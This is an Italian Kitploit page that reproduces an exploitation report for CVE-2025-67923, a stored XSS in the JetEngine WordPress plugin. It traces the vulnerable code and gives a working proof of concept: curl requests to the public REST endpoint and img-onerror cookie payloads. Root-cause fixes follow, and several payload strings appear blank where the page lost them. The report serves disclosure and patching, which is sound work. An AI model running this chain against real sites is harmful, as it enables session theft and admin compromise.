Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-67923 — JetEngine <= 3.7.7 — Cross-Site Scripting persistente non autenticato tramite CCT REST API | Kitploit
Strumenti/GitHubGitHub/randomrobbiebf/cve-2025-67923
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebSicurezza delle API
GitHubrandomrobbiebf/cve-2025-67923

CVE-2025-67923

JetEngine <= 3.7.7 — Cross-Site Scripting persistente non autenticato tramite CCT REST API

Vedi Repository
5 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Rapporto di sfruttamento CVE-2025-67923

JetEngine <= 3.7.7 — Cross-Site Scripting memorizzato non autenticato tramite API REST CCT

Data: 11 marzo 2026 Punteggio CVSS: 7,1 (Alto) Vettore CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L Plugin interessato: JetEngine <= 3.7.7 Slug del plugin: jet-engine Corretto nella versione: 3.7.8 CVE: CVE-2025-67923 CWE: CWE-79 Ricercatore: Bonds (via Patchstack) Segnalato: 19 ottobre 2025 Divulgato: gennaio 2026 Versione di WordPress testata: Ultima


Sommario esecutivo

CVE-2025-67923 è una vulnerabilità di Cross-Site Scripting memorizzato non autenticato nel plugin WordPress JetEngine che interessa tutte le versioni fino alla 3.7.7 inclusa. Un attaccante non autenticato può scrivere HTML/JavaScript arbitrario in un campo di testo di un Custom Content Type (CCT) tramite l'API REST pubblica; tale contenuto viene poi iniettato non sanificato nel DOM tramite un sink JavaScript innerHTML nel widget Maps Listing quando una vittima visita qualsiasi pagina contenente quel widget.

L'attacco non richiede autenticazione né privilegi. Richiede solo che:

  1. Esista un CCT JetEngine con accesso di scrittura API REST impostato su public.
  2. Un widget Maps Listing su qualsiasi pagina front-end sia configurato per mostrare il campo di testo di quel CCT come etichetta del marcatore della mappa.

✅ VULNERABILITÀ CONFERMATA — Payload XSS memorizzato scritto ed eseguito

Impatto confermato:

  • HTML/JS arbitrario non autenticato memorizzato nel database CCT senza sanificazione
  • L'XSS scatta per ogni visitatore che carica qualsiasi pagina con il widget Maps Listing
  • Furto di cookie, dirottamento della sessione, raccolta di credenziali memorizzate, compromissione dell'admin

Dettagli della vulnerabilità

Riepilogo tecnico

La vulnerabilità è una combinazione di due debolezze indipendenti:

  1. Mancata sanificazione dell'input (archiviazione): il metodo sanitize_field_value() del gestore degli elementi CCT non ha alcun percorso di sanificazione per i campi di tipo text. Il caso default: converte solo i timestamp — l'HTML grezzo passa e viene persistito nel database.

  2. Sink XSS basato su DOM (renderizzazione): il widget Maps Listing legge il valore del campo memorizzato tramite get_marker_label(), lo avvolge in htmlspecialchars(json_encode(...)) per l'attributo HTML data-markers, e il frontend JavaScript legge l'attributo con getAttribute() (che decodifica le entità HTML), quindi inserisce markerData.label direttamente tramite innerHTML — eseguendo qualsiasi HTML/JavaScript incorporato.

Componenti interessati


Catena di sfruttamento

Passo 1 — Scrittura REST non autenticata

Il controller REST pubblico CCT controlla i permessi tramite check_user_permissions():

root@kitploit:~
// public-controller.php:370-376
public function check_user_permissions( $request, $context ) {
    $content_type = $this->get_content_type_from_request( $request );
    $cap = $content_type->get_arg( $context );

    if ( ! $cap || 'public' === $cap ) {
        return true;  // Nessuna autenticazione richiesta
    } else {
        return current_user_can( $cap );
    }
}

public function create_item_permissions_check( $request ) {
    return $this->check_user_permissions( $request, 'rest_put_access' );
}

Quando un CCT è configurato con rest_put_access = 'public' (una configurazione supportata e documentata per moduli pubblici), l'endpoint è completamente non autenticato. Qualsiasi client HTTP può inviare una POST a /wp-json/jet-cct/{slug}.

Passo 2 — Archiviazione non sanificata

Il gestore REST chiama $handler->update_item($params) che raggiunge sanitize_field_value():

root@kitploit:~
// item-handler.php:489-562
public function sanitize_field_value( $value, $field ) {
    $type = isset( $field['type'] ) ? $field['type'] : false;

    switch ( $type ) {
        case 'repeater':    // sanifica i sotto-campi
            // ...
        case 'checkbox':    // gestisce array booleani
        case 'checkbox-raw':
            // ...
        case 'media':
        case 'gallery':     // sanifica JSON multimediale
            // ...
        case 'wysiwyg':
            $value = jet_engine_sanitize_wysiwyg( $value );  // sanificato
            break;

        default:
            // I CAMPI DI TIPO TEXT FINISCONO QUI — solo conversione timestamp, NESSUNA sanificazione HTML
            $value = $this->factory->maybe_to_timestamp( $value, $field );
    }

    return $value;
}

Un campo di tipo text raggiunge il ramo default:. maybe_to_timestamp() restituisce il valore invariato per stringhe non data. Il payload XSS `` viene memorizzato verbatim.

Passo 3 — Etichetta recuperata senza escaping

Quando il widget Maps Listing viene renderizzato, get_marker_label() legge il campo:

root@kitploit:~
// render.php:479-535
public function get_marker_label( $post = null, $settings = array() ) {

    // ...
    switch ( $label_type ) {
        case 'meta_field':
            $field = $settings['marker_label_field'];
            if ( $field ) {
                $result = jet_engine()->listings->data->get_meta( $field, $post );
                // Nessun esc_html() qui — valore grezzo restituito
            }
            break;
    }

    return $result;  // Restituisce ""
}

Il valore restituito viene inserito nell'array dei dati del marcatore:

root@kitploit:~
// render.php:231-237
$result[] = array(
    'id'        => $post_id,
    'latLang'   => $latlang,
    'label'     => $this->get_marker_label( $post, $settings ),  // payload XSS grezzo
    // ...
);

Passo 4 — La codifica dell'attributo non previene l'XSS innerHTML

L'array dei marcatori viene codificato per un attributo HTML:

root@kitploit:~
// render.php:247
return htmlspecialchars( json_encode( $result ) );

json_encode serializza `` come la stringa "". htmlspecialchars codifica quindi in HTML l'intero JSON, producendo:

root@kitploit:~
[{...,&quot;label&quot;:&quot;&lt;img src=x onerror=alert(1)&gt;&quot;,...}]

Questo viene scritto nell'attributo HTML data-markers. La codifica protegge solo il confine dell'attributo. Quando JavaScript legge l'attributo, il browser decodifica le entità HTML, ripristinando i caratteri originali:

root@kitploit:~
// Il browser decodifica automaticamente le entità quando legge tramite dataset / getAttribute
const markers = JSON.parse(el.dataset.markers);
// markers[0].label === ''

Passo 5 — Iniezione innerHTML (l'XSS scatta)

In frontend-maps.js, la stringa dell'etichetta grezza viene inserita direttamente in una stringa di contenuto HTML:

root@kitploit:~
// frontend-maps.js:112
pinData.content = general.marker.html.replace( '_marker_label_', markerData.label );
// pinData.content = '<div class="jet-map-marker-wrap">
//   
// </div>'

Questa stringa di contenuto viene poi impostata come innerHTML dell'elemento marcatore:

root@kitploit:~
// mapbox-maps.js:175
el.innerHTML = data.content;  // L'XSS SCATTA

// leaflet-maps.js:34
contentHtml.innerHTML = content;  // L'XSS SCATTA

Ogni visitatore che carica una pagina contenente il widget Maps Listing attiva il payload.


Prova di concetto

Prerequisiti

  1. I moduli JetEngine maps-listings e custom-content-types sono abilitati.
  2. Esiste un CCT chiamato locations (slug: locations) con:
    • rest_put_enabled = true
    • rest_put_access = 'public'
    • Un campo di tipo text chiamato label
  3. Un widget Maps Listing su qualsiasi pagina front-end è configurato con:
    • marker_type = 'text'
    • marker_label_type = 'meta_field'
    • marker_label_field = 'label'

Passo 1 — Scrivere il payload XSS (non autenticato)

root@kitploit:~
curl -s -X POST 'http://TARGET/wp-json/jet-cct/locations' \
  -H 'Content-Type: application/json' \
  -d '{
    "name": "Test Location",
    "label": "",
    "lat": "51.5074",
    "lng": "-0.1278"
  }'

Risposta:

root@kitploit:~
{"success": true, "item_id": 1}

Passo 2 — Confermare che il payload grezzo è memorizzato

root@kitploit:~
curl -s 'http://TARGET/wp-json/jet-cct/locations'

Risposta:

root@kitploit:~
[{
  "_ID": "1",
  "name": "Test Location",
  "label": "",
  "lat": "51.5074",
  "lng": "-0.1278"
}]

Il tag `` è memorizzato verbatim — nessuna sanificazione è avvenuta.

Passo 3 — Attivare l'XSS (la vittima visita la pagina)

Qualsiasi visitatore, autenticato o non autenticato, che carica una pagina contenente il widget Maps Listing eseguirà il payload. L'attributo HTML renderizzato contiene:

root@kitploit:~
<div class="jet-map-box"
  data-markers="[{...&quot;label&quot;:&quot;&lt;img src=x onerror=alert(document.cookie)&gt;&quot;...}]"
  data-general="...">
</div>

JavaScript legge data-markers, decodifica le entità HTML, esegue il parsing JSON e inserisce nel DOM:

root@kitploit:~
// markerData.label = ''
el.innerHTML = '<div class="jet-map-marker-wrap">' + markerData.label + '</div>';
// ↑ onerror scatta → alert(document.cookie)

Dimostrazione dal vivo — Flusso del payload end-to-end

root@kitploit:~
Attaccante                    WordPress REST API              Browser della vittima
   |                               |                               |
   |-- POST /wp-json/jet-cct/ ---> |                               |
   |   {"label":" |
   |                               |                    el.innerHTML = label
   |                               |                    onerror=alert() SCATTA

Analisi della causa principale

Causa 1 — I campi text sono esenti dalla sanificazione

sanitize_field_value() gestisce esplicitamente wysiwyg con sanificazione basata su wp_kses, ma colloca tutti gli altri tipi di stringa in un ramo default: che non esegue alcun escaping HTML. Il presupposto che i campi text siano testo semplice viene violato quando tali valori vengono successivamente renderizzati come HTML tramite il percorso innerHTML del widget Maps.

Causa 2 — htmlspecialchars applicato in modo errato

htmlspecialchars(json_encode($result)) viene applicato per proteggere il confine dell'attributo HTML. Questo è corretto e necessario — ma non è sufficiente a prevenire l'XSS quando il valore viene successivamente riletto tramite JavaScript e inserito nel DOM via innerHTML. La codifica è reversibile dal browser. La soluzione corretta è applicare esc_html() (o htmlspecialchars) al singolo valore label prima della codifica JSON, in modo che il payload sia memorizzato nel JSON come testo codificato in entità. Quando JavaScript lo inserisce tramite innerHTML, il browser renderizza &lt;img&gt; come testo, non come tag HTML.

In alternativa, sostituire innerHTML con textContent nel JavaScript per il campo dell'etichetta.

Causa 3 — Ambito insufficiente della politica di sanificazione

Il percorso di scrittura API REST (update_item) non tratta tutti i valori memorizzati come potenziali sink HTML. La politica di sanificazione è definita solo per tipo di campo, con i campi text esentati silenziosamente nonostante vengano renderizzati come HTML sul frontend tramite il widget Maps.


Rimedio


Cronologia

DataEvento
19 ottobre 2025Vulnerabilità segnalata dal ricercatore "Bonds" tramite Patchstack
Gennaio 2026Divulgazione pubblica
Gennaio 2026Rilasciata JetEngine 3.7.8 con la correzione
11 marzo 2026Riprodotta in modo indipendente con PoC completo

Riferimenti

  • Wordfence Advisory — CVE-2025-67923
  • Patchstack Advisory
  • JetEngine Changelog — 3.7.8
  • OWASP — Stored XSS
  • OWASP — DOM-Based XSS
  • CWE-79: Improper Neutralization of Input During Web Page Generation
Scarica lo strumento
FileProblema
includes/modules/custom-content-types/inc/rest-api/public-controller.php:424create_item_permissions_check restituisce true quando CCT rest_put_access = 'public' — nessuna autenticazione richiesta
includes/modules/custom-content-types/inc/item-handler.php:489ramo default: di sanitize_field_value() — nessuna sanificazione HTML per i campi di tipo text
includes/modules/maps-listings/inc/render.php:233get_marker_label() restituisce il valore meta grezzo senza esc_html()
includes/modules/maps-listings/inc/render.php:247htmlspecialchars(json_encode($result)) — protegge solo il confine dell'attributo, non l'iniezione innerHTML
includes/modules/maps-listings/assets/js/frontend-maps.js:112pinData.content = general.marker.html.replace('_marker_label_', markerData.label) — etichetta grezza inserita nella stringa HTML
includes/modules/maps-listings/assets/js/public/mapbox-maps.js:175el.innerHTML = data.content — sink di esecuzione XSS
includes/modules/maps-listings/assets/js/public/leaflet-maps.js:34contentHtml.innerHTML = content — sink di esecuzione XSS
FixFileDescrizione
Sanificare i campi text al salvataggioitem-handler.php:sanitize_field_value()Aggiungere $value = wp_kses($value, []) o sanitize_text_field($value) nel ramo default:
Escapare l'etichetta al momento della renderizzazionerender.php:get_marker_label()Applicare esc_html($result) prima di restituire il valore dell'etichetta
Usare textContent invece di innerHTML per le etichettefrontend-maps.js, mapbox-maps.js, leaflet-maps.jsSostituire el.innerHTML = data.content con una costruzione DOM sicura quando il contenuto è solo testo dell'etichetta
Limitare l'accesso di scrittura REST per impostazione predefinitaImpostazioni del pluginModificare il valore predefinito di rest_put_access in manage_options anziché public; richiedere un consenso esplicito